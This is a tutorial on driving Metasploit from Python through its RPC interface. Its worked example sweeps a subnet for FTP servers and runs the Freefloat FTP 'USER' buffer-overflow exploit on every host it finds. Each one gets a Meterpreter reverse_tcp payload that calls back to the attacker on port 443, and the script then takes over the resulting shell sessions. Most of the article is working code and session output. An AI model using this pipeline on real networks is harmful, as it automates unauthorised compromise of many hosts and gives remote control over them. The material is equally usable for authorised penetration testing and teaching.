Automate attacker actions using metasploit and Python

  • Tutorial
It is known that the metasplit is written in Ruby and does not support scripts written in Python. Despite this, the metasplit has a two-way RPC interface with which you can run tasks.

There are two libraries that allow you to interact with the remote procedure call (RPC) metasploit - pymetasploit from allfro and python-msfrpc from SpiderLabs . This article uses the first one. There are examples of launching exploits and interacting with established sessions on the Internet and the github pymetasploit repository , but I could not find examples of launching scanners and getting output for further processing of the results. One of the options will be considered later.

Install the library:

git clone https://github.com/allfro/pymetasploit

At the time of writing, the connection to msfrpc did not work without this commit .

cd pymetasploit
python setup.py install

Run the RPC listener:

root@kali-template:~# msfrpcd -h
Usage: msfrpcd 
OPTIONS:
    -P   Specify the password to access msfrpcd
    -S        Disable SSL on the RPC socket
    -U   Specify the username to access msfrpcd
    -a   Bind to this IP address
    -f        Run the daemon in the foreground
    -h        Help banner
    -n        Disable database
    -p   Bind to this port instead of 55553
    -t   Token Timeout (default 300 seconds)
    -u   URI for Web server
root@kali-template:~# msfrpcd -P password -n -f -a 127.0.0.1
[*] MSGRPC starting on 127.0.0.1:55553 (SSL):Msg...
[*] MSGRPC ready at 2018-03-28 14:34:10 +0300.

Now Metaslpoit RPC listens locally on the default port 55553.

Task for automation


Let's say there is a subnet 192.168.0.0/24. It is known that several ftp servers are available in it. You need to check if any of them is vulnerable to the Freefloat FTP Server - 'USER' Remote Buffer Overflow vulnerability . Upon detection, exploit the vulnerability and get the shell of the vulnerable machine.

Import the necessary classes

from metasploit.msfrpc import MsfRpcClient
from metasploit.msfconsole import MsfRpcConsole

To interact with RPC, only MsfRpcClient is enough, but to get the output of scanning modules, you need interaction with the metasplit console, so we also import MsfRpcConsole.

Connect to the RPC listener, pass the password. Port and address are used by default.

client = MsfRpcClient('password')

Connect to the metasploit console, by default, console messages are output to standard output and displayed on the screen. To "catch" this data and use it later, the MsfRpcConsole class uses a callback function, which is passed through the cb = parameter. Thus, every time data for display will come to the console, the read_console function will be called.

console = MsfRpcConsole(client, cb=read_console)

The data comes in this format:

In [6]: console.console.read()
Out[6]: {'busy': False, 'data': '', 'prompt': 'msf > '}

We define the read_console function so that the received data is accessible from the main program code. Define two global variables:

  • global_console_status to track whether another module is still running;
  • global_positive_out to accumulate positive results.

The read_console function will assign the value of the ´busy´ key to the global variable global_console_status and check whether the [+] symbol, which usually marks a positive result of module execution, is contained in the data for the ´data´ key. If the result is positive, the line containing [+] is added to the global_positive_out list:

global global_positive_out
global_positive_out = list()
global global_console_status
global_console_status = False
def read_console(console_data):
    global global_console_status
    global_console_status = console_data['busy']
    print global_console_status
    if '[+]' in console_data['data']:
	sigdata = console_data['data'].rstrip().split('\n')
	for line in sigdata:
	    if '[+]' in line:
		global_positive_out.append(line)
    print console_data['data']

Now we will execute in the console the commands necessary to launch the ftp_version auxiliary module.

console.execute('use auxiliary/scanner/ftp/ftp_version')
console.execute('set RHOSTS 192.168.0.0/24')
console.execute('set THREADS 20')
console.execute('run')
time.sleep(5)

We will wait for the completion of the module, checking every 5 seconds whether the console is busy:

while global_console_status:
    time.sleep(5)

After the module completes, we process the results and extract the IP addresses of the vulnerable hosts:

targets = list()
for line in global_positive_out:
    if 'FreeFloat' in line:
    	ip = re.findall(r'[0-9]+(?:\.[0-9]+){3}', line)[0]
	targets.append(ip)

To exploit the vulnerabilities found, create an exploit object. You can use the exploit.options and exploit.required methods to see which options an exploit has and which ones are required. Install LPORT, LHOST and EXITFUNC:

In [4]: exploit.required
Out[4]: ['RHOST', 'SSLVersion', 'ConnectTimeout', 'FTPTimeout', 'RPORT']
In [5]: exploit.options
Out[5]: 
['FTPDEBUG',
 'ContextInformationFile',
 'WORKSPACE',
 'FTPPASS',
 'FTPUSER',
 'CHOST',
 'RHOST',
 'Proxies',
 'DisablePayloadHandler',
 'TCP::send_delay',
 'SSLVersion',
 'ConnectTimeout',
 'CPORT',
 'SSLVerifyMode',
 'FTPTimeout',
 'VERBOSE',
 'SSLCipher',
 'SSL',
 'WfsDelay',
 'TCP::max_send_size',
 'EnableContextEncoding',
 'RPORT']
exploit = client.modules.use('exploit', 'windows/ftp/freefloatftp_user')
pl = client.modules.use('payload', 'windows/meterpreter/reverse_tcp')
pl['LPORT'] = 443
pl['LHOST'] = localhost
pl['EXITFUNC'] = 'thread'

To start, you need to call the execute () method, passing the previously initialized payload:

for target in targets:
	exploit['RHOST'] = target
	ftpsession = exploit.execute(payload=pl)
	time.sleep(5)

On successful launch, the job_id key will contain the number; on unsuccessful, None.

{'job_id': 1, 'uuid': 'uv0ontph'}

Upon receipt of the session, client.sessions.list will contain the session number and parameters specific to this session in the format below:

{1: {'info': 'SEMYON-FE434C23\\Administrator @ SEMYON-FE434C23', 'username': 'root', 'session_port': 21, 'via_payload': 'payload/windows/meterpreter/reverse_tcp', 'uuid': 'azxxoup4', 'tunnel_local': '192.168.0.92:443', 'via_exploit': 'exploit/windows/ftp/freefloatftp_user', 'arch': 'x86', 'exploit_uuid': 'uv0ontph', 'tunnel_peer': '192.168.0.90:4418', 'platform': 'windows', 'workspace': 'false', 'routes': '', 'target_host': '192.168.0.90', 'type': 'meterpreter', 'session_host': '192.168.0.90', 'desc': 'Meterpreter'}}

In this case, the reverse session of the meterter was chosen as the payload of the exploit. In order to determine if a connection has arrived, it is necessary to check if there are new sessions in client.sessions.list. The key in this case is the exploit uuid, which should be equal to the exploit_uuid session. For implementation, we define two functions for finding new sessions, compare_sessions, which will wait for the specified time and compare the old list of sessions with the current one and get_session, which will return the session corresponding to the running exploit.

def get_session(sessions_list, exploit_job):
    if not sessions_list:
        return False
    for session in sessions_list:
        if sessions_list[session]['exploit_uuid'] == exploit_job['uuid']:
            return session
    return False
def compare_sessions(old_sessions_list, seconds = 120):
    flag = False
    while not flag:
        if seconds == 0:
            return False
        if client.sessions.list != old_sessions_list:
            flag = True
        time.sleep(1)
        seconds -= 1
    current_sessions = client.sessions.list
    all(map(current_sessions.pop, old_sessions_list))
    return current_sessions

Save the current sessions, launch the exploit:

old_sessions = client.sessions.list
ftpsession = exploit.execute(payload=pl)
time.sleep(5)
ftpsessioncode = get_session(client.sessions.list, ftpsession)
if not ftpsessioncode:
    sys.exit()

After receiving the session, we can interact with it by calling client.sessions.session () and passing the session number. Using the methods shell.read (), shell.write (), shell.runsingle (), you can transfer commands and read the response from the session meterpreter.

shell = client.sessions.session(ftpsessioncode)
shell.read()

Using the described technique, you can run any available modules and get output from the console.

The code is available in the github repository .

Also popular now: